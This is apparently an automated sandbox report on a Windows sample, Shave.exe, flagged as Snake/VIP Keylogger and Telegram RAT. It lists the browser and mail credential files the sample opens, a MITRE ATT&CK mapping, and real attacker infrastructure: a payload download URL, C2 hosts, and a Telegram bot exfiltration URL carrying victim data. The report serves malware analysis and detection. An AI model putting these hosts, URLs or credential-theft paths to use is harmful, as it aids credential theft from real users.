Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Shave.exe, 00000003.00000002.3300398424.00000000361C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Shave.exe, 00000003.00000002.3300398424.00000000364DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\Shave.exe	API call chain: ExitProcess graph end node			graph_0-4365
Source: C:\Users\user\Desktop\Shave.exe	API call chain: ExitProcess graph end node			graph_0-4518

Source: C:\Users\user\Desktop\Shave.exe

Code function: 0_2_6F971B63 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6F971B63

Source: C:\Users\user\Desktop\Shave.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

Process created: C:\Users\user\Desktop\Shave.exe "C:\Users\user\Desktop\Shave.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe	Queries volume information: C:\Users\user\Desktop\Shave.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Shave.exe

0_2_0040336C

Source: C:\Users\user\Desktop\Shave.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Shave.exe PID: 7044, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Shave.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Shave.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 00000003.00000002.3299164468.0000000035238000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Shave.exe PID: 7044, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: Shave.exe PID: 7044, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match

File source: 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	215 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	11 Process Injection	3 Obfuscated Files or Information	Security Account Manager	21 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Shave.exe	46%	Virustotal		Browse
Shave.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsa5D43.tmp\System.dll	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
mail.cipmach.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://mail.cipmach.com	0%	Avira URL Cloud	safe
http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.binQ	0%	Avira URL Cloud	safe
http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin6	0%	Avira URL Cloud	safe
http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mertvinc.com.tr	185.244.144.68	true	false		high
reallyfreegeoip.org	172.67.177.134	true	false		high
mail.cipmach.com	199.79.63.24	true	true	4%, Virustotal, Browse	unknown
api.telegram.org	149.154.167.220	true	false		high
checkip.dyndns.com	193.122.130.0	true	false		high
checkip.dyndns.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/8.46.123.75	false		high
http://checkip.dyndns.org/	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2026/11/2024%20/%2019:05:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	Shave.exe, 00000003.00000002.3299164468.0000000035322000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035238000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035313000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.cipmach.com	Shave.exe, 00000003.00000002.3299164468.00000000352A4000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035283000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.000000003529A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/lB	Shave.exe, 00000003.00000002.3299164468.000000003531D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20a	Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	Shave.exe	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	Shave.exe, 00000003.00000002.3299164468.00000000352F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.binQ	Shave.exe, 00000003.00000002.3279604982.0000000004B78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	Shave.exe, 00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.75$	Shave.exe, 00000003.00000002.3299164468.00000000351A8000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.00000000351ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlB	Shave.exe, 00000003.00000002.3299164468.00000000352EC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	Shave.exe, 00000003.00000002.3299164468.0000000035215000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.000000003517D000.00000004.00000800.00020000.00000000.sdmp, Shave.exe, 00000003.00000002.3299164468.00000000351ED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Shave.exe, 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Shave.exe, 00000003.00000002.3300398424.0000000036151000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mertvinc.com.tr/oxzGOftLtQcGlWZ214.bin6	Shave.exe, 00000003.00000002.3279604982.0000000004BB2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	Shave.exe, 00000003.00000002.3299164468.000000003517D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
185.244.144.68	mertvinc.com.tr	Turkey	199608	BIRBIRTR	false
199.79.63.24	mail.cipmach.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562047
Start date and time:	2024-11-25 07:07:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Shave.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@7/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 207 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target Shave.exe, PID 7044 because it is empty
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:08:50	API Interceptor	114558x Sleep call for process: Shave.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse
	file.exe	Get hash	malicious	Amadey, XWorm	Browse
185.244.144.68	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	mertvinc.com.tr/TPwPATw126.bin
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/SJatcRCUnkMIpuGcrVu155.bin
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	mertvinc.com.tr/fRzMqN204.bin
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/LAbxmTzNBCWjnKNdG58.bin
	CL714440147.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/LAbxmTzNBCWjnKNdG58.bin
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse	mertvinc.com.tr/LAbxmTzNBCWjnKNdG58.bin
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	mertvinc.com.tr/fYJJzdXnGgCBdwfMZh209.bin
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	mertvinc.com.tr/fYJJzdXnGgCBdwfMZh209.bin
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse	mertvinc.com.tr/OGDTCbBRybqnXF193.bin
199.79.63.24	https://vagvn.remmipyservice.org/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=7f545595-f5d6-deb9-f7f9-d2b50e22cac0&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638594191528303546.52bdeb30-750b-42d2-83a1-0b37c2fd3e58&state=DctBFoAgCABRrNdxSARJPI6kbVt2_Vj82U0CgD1sIVEE2iWmvZZelE1ItF6nss_lQtiUHCtPRpNRkFzazc-UpZbiPfL7jfwD&sso_reload=tru	Get hash	malicious	HTMLPhisher	Browse
199.79.63.24	http://njcqpc.avknt.khoormann.deenampro.com./#.aHR0cHM6Ly91c2VyLmxvZ290ZWMucGUvdGFzay9hMmh2YjNKdFlXNXVRSFZ1WTI5dGJpNWpiMjA9	Get hash	malicious	HTMLPhisher	Browse
193.122.130.0	SOA SEP 2024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO-841122676_g787.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	P.O 423737.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	New Order Data sheet Page.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Aral#U0131k PO# IRON-TE-160924 _323282-_563028621286 pdf .exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	rrequestforquotation.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	SOA SEP 2024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.130.0
mertvinc.com.tr	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse	185.244.144.68
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	CL714440147.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
api.telegram.org	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
reallyfreegeoip.org	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
